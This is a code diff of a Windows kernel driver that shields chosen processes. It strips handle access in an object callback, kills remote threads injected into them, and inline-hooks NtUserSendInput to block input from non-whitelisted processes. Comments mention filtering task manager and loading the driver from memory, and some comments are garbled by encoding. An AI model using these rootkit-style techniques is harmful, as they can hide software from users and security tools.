namespace comm_dispatch namespace comm_dispatch
{ {
auto dispatch(CMD_COMM* data) -> NTSTATUS auto dispatch(CMD_COMM* data) -> NTSTATUS
{ {
auto status = STATUS_UNSUCCESSFUL; auto status = STATUS_UNSUCCESSFUL;
switch (data->CommID) switch (data->CommID)
{ {
case CMD::DRIVER_COMM_TEST: case CMD::DRIVER_COMM_TEST:
@@ -19,6 +23,12 @@ namespace comm_dispatch
status = protect_filter::add_protect_list((ULONG)process_data->Pid, NULL, FALSE); status = protect_filter::add_protect_list((ULONG)process_data->Pid, NULL, FALSE);
break; break;
} }
case CMD::DRIVER_CANCEL_PROTECT_PROCESS:
{
auto process_data = (IOCTL_PROCESS*)data->Buf;
status = protect_filter::remove_protect_list((ULONG)process_data->Pid, NULL);
break;
}
case CMD::ADD_WHITE_PROCESS: case CMD::ADD_WHITE_PROCESS:
{ {
auto process_data = (IOCTL_PROCESS*)data->Buf; auto process_data = (IOCTL_PROCESS*)data->Buf;
@@ -34,6 +44,42 @@ namespace comm_dispatch
break; break;
} }
case CMD::USER_EVENT_HANDLE:
{
auto user_handle = (HANDLE*)data->Buf;
status = ObReferenceObjectByHandle(
*user_handle,
EVENT_MODIFY_STATE,
*ExEventObjectType,
UserMode,
(PVOID*)&thread_notify_routine::g_UserEvent,
NULL);
DbgPrintEx(77, 0, "ObReferenceObjectByHandle[status]:%x\n", status);
DbgPrintEx(77, 0, "g_UserEvent:%p\n", thread_notify_routine::g_UserEvent);
break;
}
case CMD::PROTECT_THREAD_CONTRL:
{
auto process_data = (IOCTL_PROCESS*)data->Buf;
thread_notify_routine::g_thread_protect = process_data->is_no_create_remote_thread;
status = STATUS_SUCCESS;
break;
}
case CMD::INSTALL_MOUSE_KEYBOARD:
{
status = mouse_keybord_hook::install_mouse_keybord_hook();
break;
}
case CMD::UNLOAD_MOUSE_KEYBOARD:
{
status = mouse_keybord_hook::remove_mouse_keybord_hook();
break;
}
default: default:
break; break;
} }
+6
View File
@@ -11,6 +11,7 @@ struct CMD_COMM
struct IOCTL_PROCESS struct IOCTL_PROCESS
{ {
DWORD64 Pid; DWORD64 Pid;
BOOL is_no_create_remote_thread;
}; };
struct IOCTL_WINDOW struct IOCTL_WINDOW
@@ -23,8 +24,13 @@ enum CMD
MSG_BASE = 0x10000, MSG_BASE = 0x10000,
DRIVER_COMM_TEST, DRIVER_COMM_TEST,
DRIVER_PROTECT_PROCESS, DRIVER_PROTECT_PROCESS,
DRIVER_CANCEL_PROTECT_PROCESS,
ADD_WHITE_PROCESS, ADD_WHITE_PROCESS,
WINDOW_ANIT_SCREEN, WINDOW_ANIT_SCREEN,
USER_EVENT_HANDLE,
PROTECT_THREAD_CONTRL,
INSTALL_MOUSE_KEYBOARD,
UNLOAD_MOUSE_KEYBOARD,
}; };
namespace comm_dispatch namespace comm_dispatch
+15 -13
View File
@@ -15,9 +15,10 @@ EXTERN_C NTKERNELAPI NTSTATUS ZwOpenThread(
_In_ PCLIENT_ID ClientId _In_ PCLIENT_ID ClientId
); );
namespace thread_notify_routine namespace thread_notify_routine
{ {
PKEVENT g_UserEvent = NULL; // 用户态传入的事件对象
BOOL g_thread_protect;
// ´ò¿ªÏ߳̾ä±ú²¢ÖÕÖ¹ // ´ò¿ªÏ߳̾ä±ú²¢ÖÕÖ¹
NTSTATUS TerminateThreadByHandle( NTSTATUS TerminateThreadByHandle(
@@ -69,7 +70,6 @@ namespace thread_notify_routine
{ {
if (Create) if (Create)
{ {
PEPROCESS process{ 0 }; PEPROCESS process{ 0 };
auto status = PsLookupProcessByProcessId(ProcessId, &process); auto status = PsLookupProcessByProcessId(ProcessId, &process);
if (!NT_SUCCESS(status)) if (!NT_SUCCESS(status))
@@ -80,7 +80,7 @@ namespace thread_notify_routine
if (!NT_SUCCESS(status)) if (!NT_SUCCESS(status))
goto end;*/ goto end;*/
if(!protect_filter::is_protect_pid(0, process)) if (!protect_filter::is_protect_pid(HandleToLong(ProcessId)))
goto end; goto end;
/*if (protect_process != process) /*if (protect_process != process)
@@ -94,17 +94,19 @@ namespace thread_notify_routine
{ {
//DbgBreakPoint(); //DbgBreakPoint();
DbgPrintEx(77, 0, "[!] 恶意远程线程检测!\n"); //DbgPrintEx(77, 0, "[!] 恶意远程线程检测!\n");
//
DbgPrintEx(77, 0, "[!] 目标进程ID: %d\n", ProcessId); //DbgPrintEx(77, 0, "[!] 目标进程ID: %d\n", ProcessId);
//
DbgPrintEx(77, 0, "[!] 创建者进程ID: %d\n", cutor_process_id); //DbgPrintEx(77, 0, "[!] 创建者进程ID: %d\n", cutor_process_id);
//
DbgPrintEx(77, 0, "[!] 被创建线程ID: %d\n", ThreadId); //DbgPrintEx(77, 0, "[!] 被创建线程ID: %d\n", ThreadId);
TerminateThreadByHandle(ProcessId, ThreadId);
if (g_thread_protect)
{
TerminateThreadByHandle(ProcessId, ThreadId);
}
//KeSetEvent(g_UserEvent, IO_NO_INCREMENT, FALSE);
} }
end: end:
ObDereferenceObject(process); ObDereferenceObject(process);
@@ -3,9 +3,13 @@
namespace thread_notify_routine namespace thread_notify_routine
{ {
extern BOOL g_thread_protect;
extern PKEVENT g_UserEvent;
auto create_thread_routine()->NTSTATUS; auto create_thread_routine()->NTSTATUS;
auto unload_thread_routine()->NTSTATUS; auto unload_thread_routine()->NTSTATUS;
} }
+6 -7
View File
@@ -20,8 +20,6 @@ EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT drv_obj, PUNICODE_STRING)
process_notify_callback::remov_process_notify(); process_notify_callback::remov_process_notify();
thread_notify_routine::unload_thread_routine(); thread_notify_routine::unload_thread_routine();
mouse_keybord_hook::remove_mouse_keybord_hook();
//load_image_notify_routine::remove_image_load_notify_routine(); //load_image_notify_routine::remove_image_load_notify_routine();
}; };
} }
@@ -30,15 +28,16 @@ EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT drv_obj, PUNICODE_STRING)
kernel_api::kernel_api_init(); kernel_api::kernel_api_init();
kernel_comm_create::Init(); kernel_comm_create::Init();
protect_filter::add_protect_list(3632, 0, FALSE); //把保护的进程插入到链表中
//protect_filter::add_protect_list(12204, 0, FALSE);
//mouse_keybord_hook::install_mouse_keybord_hook();
mouse_keybord_hook::install_mouse_keybord_hook(); DbgPrintEx(77, 0, "[+]ob_reg_callback status:%x\n", ob_call_back::register_ob_reg_callback());
//DbgPrintEx(77, 0, "[+]ob_reg_callback status:%x\n", ob_call_back::register_ob_reg_callback());
DbgPrintEx(77, 0, "[+]process_notify_callback status:%x\n", process_notify_callback::install_process_notify()); DbgPrintEx(77, 0, "[+]process_notify_callback status:%x\n", process_notify_callback::install_process_notify());
DbgPrintEx(77, 0, "[+]create_thread_routine status:%x\n", thread_notify_routine::create_thread_routine()); DbgPrintEx(77, 0, "[+]create_thread_routine status:%x\n", thread_notify_routine::create_thread_routine());
//load_image_notify_routine::create_image_load_notify_routine();
//我过滤了那个任务管理器 所以看不了结束进程效果 直接看能不能读搜索就行了 没有图标吧
//也搜索不了 我这个就是内存加载 也不会蓝屏啊
return STATUS_SUCCESS; return STATUS_SUCCESS;
} }
+8
View File
@@ -25,6 +25,9 @@ namespace kernel_api
RtlInitUnicodeString(&unFuncName, L"ZwOpenThread"); RtlInitUnicodeString(&unFuncName, L"ZwOpenThread");
imported.nt_open_thread = (ULONG64)MmGetSystemRoutineAddress(&unFuncName); imported.nt_open_thread = (ULONG64)MmGetSystemRoutineAddress(&unFuncName);
RtlInitUnicodeString(&unFuncName, L"ObOpenObjectByName");
imported.ob_open_object_by_name = (ULONG64)MmGetSystemRoutineAddress(&unFuncName);
} }
NTSTATUS ntquerysysteminformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) NTSTATUS ntquerysysteminformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
@@ -60,5 +63,10 @@ namespace kernel_api
return reinterpret_cast<NTSTATUS(*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID)>(imported.nt_open_thread) return reinterpret_cast<NTSTATUS(*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID)>(imported.nt_open_thread)
(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId); (ThreadHandle, DesiredAccess, ObjectAttributes, ClientId);
} }
NTSTATUS obopenobjectbyname(POBJECT_ATTRIBUTES ObjectAttributes, POBJECT_TYPE ObjectType, KPROCESSOR_MODE AccessMode, PACCESS_STATE AccessState, ACCESS_MASK DesiredAccess, PVOID ParseContext, PHANDLE Handle)
{
return reinterpret_cast<NTSTATUS(*)(POBJECT_ATTRIBUTES, POBJECT_TYPE, KPROCESSOR_MODE, PACCESS_STATE, ACCESS_MASK, PVOID, PHANDLE)>
(imported.ob_open_object_by_name)(ObjectAttributes, ObjectType, AccessMode, AccessState, DesiredAccess, ParseContext, Handle);
}
} }
+11
View File
@@ -20,6 +20,7 @@ struct imported_
ULONG64 ps_getprocess_id; ULONG64 ps_getprocess_id;
ULONG64 se_locateprocess_imagename; ULONG64 se_locateprocess_imagename;
ULONG64 nt_open_thread; ULONG64 nt_open_thread;
ULONG64 ob_open_object_by_name;
}; };
namespace kernel_api namespace kernel_api
@@ -42,4 +43,14 @@ namespace kernel_api
PVOID rtlfindexportedroutinebyname(PVOID ImageBase, PCCH RoutineName); PVOID rtlfindexportedroutinebyname(PVOID ImageBase, PCCH RoutineName);
NTSTATUS ntopenthread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); NTSTATUS ntopenthread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
NTSTATUS obopenobjectbyname(
POBJECT_ATTRIBUTES ObjectAttributes,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PACCESS_STATE AccessState,
ACCESS_MASK DesiredAccess,
PVOID ParseContext,
PHANDLE Handle
);
} }
+1 -1
View File
@@ -9,7 +9,7 @@ namespace mouse_key_win10
__int64 __fastcall hkNtUserSendInput(unsigned int a1, volatile void* a2, int a3, int a4) __int64 __fastcall hkNtUserSendInput(unsigned int a1, volatile void* a2, int a3, int a4)
{ {
auto pid = PsGetCurrentProcessId(); auto pid = PsGetCurrentProcessId();
if (protect_filter::is_white_pid(HandleToLong(pid), NULL)) if (protect_filter::is_white_pid(HandleToLong(pid)))
return origon_NtUserSendInput_win10(a1, a2, a3, a4); return origon_NtUserSendInput_win10(a1, a2, a3, a4);
+1 -1
View File
@@ -8,7 +8,7 @@ namespace mouse_key_win7
{ {
auto pid = PsGetCurrentProcessId(); auto pid = PsGetCurrentProcessId();
if(protect_filter::is_white_pid(HandleToLong(pid), NULL)) if(protect_filter::is_white_pid(HandleToLong(pid)))
return origon_NtUserSendInput_win7(a1, a2, a3); return origon_NtUserSendInput_win7(a1, a2, a3);
return NULL; return NULL;
+18 -10
View File
@@ -52,13 +52,21 @@ namespace mouse_keybord_hook
auto install_mouse_keybord_hook() -> BOOL auto install_mouse_keybord_hook() -> BOOL
{ {
auto _eprocess_process = kernel_function::FindProcess("winlogon.exe"); //auto _eprocess_process = kernel_function::FindProcess("winlogon.exe");
if (!_eprocess_process) //if (!_eprocess_process)
return FALSE; // return FALSE;
//
//auto apc_state = kernel_function::ke_stack_attch_process(_eprocess_process);
auto apc_state = kernel_function::ke_stack_attch_process(_eprocess_process); if (!_ntSendInput)
{
_ntSendInput = get_sendinput_hook_addr(); _ntSendInput = get_sendinput_hook_addr();
}
else
{
if (_ntSendInput[0] == 0xff || _ntSendInput[1] == 0x25)
return TRUE;
}
auto os = utils::GetVersion(); auto os = utils::GetVersion();
if (os.dwBuildNumber == 7600 || os.dwBuildNumber == 7601) if (os.dwBuildNumber == 7600 || os.dwBuildNumber == 7601)
@@ -70,8 +78,8 @@ namespace mouse_keybord_hook
inline_hooks_manager::fn_get_instance()->inline_install_hook(_ntSendInput, mouse_key_win10::hkNtUserSendInput, (void**)&origon_NtUserSendInput_win10); inline_hooks_manager::fn_get_instance()->inline_install_hook(_ntSendInput, mouse_key_win10::hkNtUserSendInput, (void**)&origon_NtUserSendInput_win10);
} }
kernel_function::ke_unstack_detach_process(apc_state); //kernel_function::ke_unstack_detach_process(apc_state);
ObDereferenceObject(_eprocess_process); //ObDereferenceObject(_eprocess_process);
return 0; return 0;
} }
@@ -83,11 +91,11 @@ namespace mouse_keybord_hook
auto apc_state = kernel_function::ke_stack_attch_process(_eprocess_process); auto apc_state = kernel_function::ke_stack_attch_process(_eprocess_process);
inline_hooks_manager::fn_get_instance()->inline_remov_hook((void**)_ntSendInput); auto status = inline_hooks_manager::fn_get_instance()->inline_remov_hook((void**)_ntSendInput);
kernel_function::ke_unstack_detach_process(apc_state); kernel_function::ke_unstack_detach_process(apc_state);
ObDereferenceObject(_eprocess_process); ObDereferenceObject(_eprocess_process);
return 0; return status;
} }
} }
+1 -1
View File
@@ -37,7 +37,7 @@ auto ob_call_back::register_ob_reg_callback() -> NTSTATUS
if(is_allow_process(image_file_name)) if(is_allow_process(image_file_name))
goto end; goto end;
if (protect_filter::is_protect_pid(HandleToLong(dwPid), nullptr)) if (protect_filter::is_protect_pid(HandleToLong(dwPid)))
{ {
pOperationInformation->Parameters->DuplicateHandleInformation.DesiredAccess = 0; pOperationInformation->Parameters->DuplicateHandleInformation.DesiredAccess = 0;
pOperationInformation->Parameters->DuplicateHandleInformation.OriginalDesiredAccess = 0; pOperationInformation->Parameters->DuplicateHandleInformation.OriginalDesiredAccess = 0;
@@ -15,15 +15,17 @@ namespace process_notify_callback
{ {
//进程退出时进行 对插链的清理操作 //进程退出时进行 对插链的清理操作
if (protect_filter::is_protect_pid(HandleToLong(ProcessId), nullptr)) if (protect_filter::is_protect_pid(HandleToLong(ProcessId))) {
protect_filter::remove_protect_list(g_protect_list, HandleToLong(ProcessId), nullptr);
if (protect_filter::is_white_pid(HandleToLong(ProcessId), nullptr)) //DbgPrintEx(77, 0, "%p\n", ProcessId);
{
protect_filter::remove_protect_list(HandleToLong(ProcessId), nullptr);
DbgBreakPoint();
protect_filter::remove_protect_list(g_white_list, HandleToLong(ProcessId), nullptr);
} }
if (protect_filter::is_white_pid(HandleToLong(ProcessId)))
protect_filter::remove_white_list( HandleToLong(ProcessId), nullptr);
} }
/*DbgPrintEx(77, 0, "ParentId:%d | ProcessId:%d | Create:%d\n", /*DbgPrintEx(77, 0, "ParentId:%d | ProcessId:%d | Create:%d\n",
+65 -28
View File
@@ -1,7 +1,7 @@
#include "protect_filter.h" #include "protect_filter.h"
LIST_ENTRY g_protect_list; LIST_ENTRY g_protect_list = { 0 };
LIST_ENTRY g_white_list; LIST_ENTRY g_white_list = { 0 };
namespace protect_filter namespace protect_filter
{ {
@@ -13,6 +13,12 @@ namespace protect_filter
auto add_protect_list(ULONG Pid, HWND hwnd, BOOL is_white)->BOOL auto add_protect_list(ULONG Pid, HWND hwnd, BOOL is_white)->BOOL
{ {
PEPROCESS process{ 0 };
if (!NT_SUCCESS(PsLookupProcessByProcessId(UlongToHandle(Pid), &process)))
return FALSE;
ObDereferenceObject(process);
auto PFilter = reinterpret_cast<PFILTER>(ExAllocatePoolWithTag(PagedPool, sizeof(FILTER), 'wag')); auto PFilter = reinterpret_cast<PFILTER>(ExAllocatePoolWithTag(PagedPool, sizeof(FILTER), 'wag'));
if (!PFilter) if (!PFilter)
return FALSE; return FALSE;
@@ -21,12 +27,7 @@ namespace protect_filter
if (Pid) if (Pid)
{ {
PEPROCESS eprocess{ 0 };
if (!NT_SUCCESS(PsLookupProcessByProcessId(ULongToHandle(Pid), &eprocess)))
return FALSE;
PFilter->Pid = Pid; PFilter->Pid = Pid;
PFilter->Eprocess = eprocess;
} }
if (hwnd) if (hwnd)
{ {
@@ -40,7 +41,7 @@ namespace protect_filter
return TRUE; return TRUE;
} }
auto is_protect_pid(ULONG Pid, PEPROCESS Eprocess)->BOOL auto is_protect_pid(ULONG Pid)->BOOL
{ {
if (IsListEmpty(&g_protect_list)) if (IsListEmpty(&g_protect_list))
return NULL; return NULL;
@@ -51,22 +52,20 @@ namespace protect_filter
auto list_data = reinterpret_cast<PFILTER>(CONTAINING_RECORD(list_head, FILTER, List)); auto list_data = reinterpret_cast<PFILTER>(CONTAINING_RECORD(list_head, FILTER, List));
list_head = list_head->Flink; list_head = list_head->Flink;
if (Pid) if (MmIsAddressValid(list_data))
{ {
if (list_data->Pid == Pid) if (Pid)
return TRUE; {
} if (list_data->Pid == Pid)
if (Eprocess) return TRUE;
{ }
if (list_data->Eprocess == Eprocess)
return TRUE;
} }
} }
return FALSE; return FALSE;
} }
auto is_white_pid(ULONG Pid, PEPROCESS Eprocess)->BOOL auto is_white_pid(ULONG Pid)->BOOL
{ {
if (IsListEmpty(&g_white_list)) if (IsListEmpty(&g_white_list))
return NULL; return NULL;
@@ -82,35 +81,73 @@ namespace protect_filter
if (list_data->Pid == Pid) if (list_data->Pid == Pid)
return TRUE; return TRUE;
} }
if (Eprocess)
{
if (list_data->Eprocess == Eprocess)
return TRUE;
}
} }
return FALSE; return FALSE;
} }
auto remove_protect_list(LIST_ENTRY list_entry, ULONG Pid, HWND hwnd)->BOOL auto remove_protect_list(ULONG Pid, HWND hwnd)->BOOL
{ {
UNREFERENCED_PARAMETER(hwnd); UNREFERENCED_PARAMETER(hwnd);
BOOL is_remove_list = FALSE; BOOL is_remove_list = FALSE;
if (IsListEmpty(&list_entry)) //auto List_Entry = list_entry;
if (IsListEmpty(&g_protect_list))
return FALSE; return FALSE;
auto list_head = list_entry.Flink; auto list_head = g_protect_list.Flink;
while (list_head != &list_entry) while (list_head != &g_protect_list)
{ {
auto list_data = reinterpret_cast<PFILTER>(CONTAINING_RECORD(list_head, FILTER, List)); auto list_data = reinterpret_cast<PFILTER>(CONTAINING_RECORD(list_head, FILTER, List));
list_head = list_head->Flink; list_head = list_head->Flink;
//DbgPrintEx(77, 0, "[+]list_head:%p | list_entry:%p\n", list_head, list_head);
if (list_data->Pid == Pid) if (list_data->Pid == Pid)
{ {
//DbgPrintEx(77, 0, "[+]%d\n", list_data->Pid);
RemoveEntryList(list_head->Blink);
is_remove_list = TRUE;
}
if (is_remove_list)
{
ExFreePoolWithTag(list_data, 'wag');
return TRUE;
}
}
return FALSE;
}
auto remove_white_list(ULONG Pid, HWND hwnd)->BOOL
{
UNREFERENCED_PARAMETER(hwnd);
BOOL is_remove_list = FALSE;
//auto List_Entry = list_entry;
if (IsListEmpty(&g_white_list))
return FALSE;
auto list_head = g_white_list.Flink;
while (list_head != &g_white_list)
{
auto list_data = reinterpret_cast<PFILTER>(CONTAINING_RECORD(list_head, FILTER, List));
list_head = list_head->Flink;
//DbgPrintEx(77, 0, "[+]list_head:%p | list_entry:%p\n", list_head, list_head);
if (list_data->Pid == Pid)
{
//DbgPrintEx(77, 0, "[+]%d\n", list_data->Pid);
RemoveEntryList(list_head->Blink); RemoveEntryList(list_head->Blink);
is_remove_list = TRUE; is_remove_list = TRUE;
} }
+6 -4
View File
@@ -4,7 +4,7 @@
typedef struct _FILTER typedef struct _FILTER
{ {
LIST_ENTRY List; LIST_ENTRY List;
PEPROCESS Eprocess; //PEPROCESS Eprocess;
ULONG Pid; ULONG Pid;
HWND hWnd; HWND hWnd;
}FILTER,*PFILTER; }FILTER,*PFILTER;
@@ -18,9 +18,11 @@ namespace protect_filter
auto add_protect_list(ULONG Pid, HWND hwnd, BOOL is_white)->BOOL; auto add_protect_list(ULONG Pid, HWND hwnd, BOOL is_white)->BOOL;
auto is_protect_pid(ULONG Pid, PEPROCESS Eprocess) -> BOOL; auto is_protect_pid(ULONG Pid) -> BOOL;
auto is_white_pid(ULONG Pid, PEPROCESS Eprocess)->BOOL; auto is_white_pid(ULONG Pid)->BOOL;
auto remove_protect_list(LIST_ENTRY list_entry, ULONG Pid, HWND hwnd)->BOOL; auto remove_protect_list(ULONG Pid, HWND hwnd)->BOOL;
auto remove_white_list(ULONG Pid, HWND hwnd)->BOOL;
} }